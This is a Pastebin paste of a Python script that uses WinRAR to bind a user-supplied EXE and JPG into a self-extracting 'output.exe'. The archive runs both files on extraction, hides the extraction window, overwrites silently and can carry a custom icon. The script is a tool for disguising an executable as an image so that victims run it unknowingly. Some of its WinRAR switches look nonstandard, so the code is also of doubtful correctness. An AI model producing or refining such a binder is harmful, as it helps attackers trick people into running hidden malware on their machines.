Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import subprocess
- import os
- def find_winrar():
- print("Looking for WinRAR...")
- restricted_directories = {'C:\\Windows', 'C:\\Program Files', 'C:\\Program Files (x86)'}
- for root, dirs, files in os.walk('C:\\', topdown=True):
- if any(root.startswith(dir_) for dir_ in restricted_directories):
- continue
- if 'WinRAR.exe' in files:
- winrar_path = root # Use the directory containing WinRAR.exe
- print(f"WinRAR found at: {winrar_path}")
- save_path(winrar_path) # Save the path to a file
- return winrar_path
- return None
- def save_path(path):
- with open('winrar_path.txt', 'w') as file:
- file.write(path)
- def load_path():
- try:
- with open('winrar_path.txt', 'r') as file:
- return file.read().strip()
- except FileNotFoundError:
- return None
- def get_user_input(prompt):
- return input(prompt).strip()
- def main():
- winrar_path = load_path()
- if not winrar_path:
- winrar_path = find_winrar()
- if not winrar_path:
- print("Error: WinRAR not found.")
- return
- save_path(winrar_path)
- print(f"Using WinRAR found at: {winrar_path}")
- exe_file = get_user_input("Enter the path to the EXE file: ")
- jpg_file = get_user_input("Enter the path to the JPG file: ")
- archive_name = "output.exe"
- print(f"WinRAR Path: {winrar_path}")
- print("Running subprocess command:")
- print([os.path.join(winrar_path, 'WinRAR.exe'), 'a', '-sfx', archive_name, exe_file, jpg_file])
- subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'a', '-sfx', archive_name, exe_file, jpg_file])
- subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'm', '-af', archive_name])
- run_after_extraction = f'{os.path.basename(jpg_file)}\n{os.path.basename(exe_file)}'
- subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'm', '-af', archive_name, '-spf', run_after_extraction])
- subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'm', '-cfg-UnpAuto', 'HideAll', archive_name])
- add_icon_option = get_user_input("Would you like to add a thumbnail (ICO file)? (y/n): ").lower()
- if add_icon_option == 'y':
- ico_file = get_user_input("Enter the path to the ICO file: ")
- subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'm', '-cfg-Icon', ico_file, archive_name])
- subprocess.run([os.path.join(winrar_path, 'WinRAR.exe'), 'm', '-cfg-Overwrite', '3', archive_name])
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment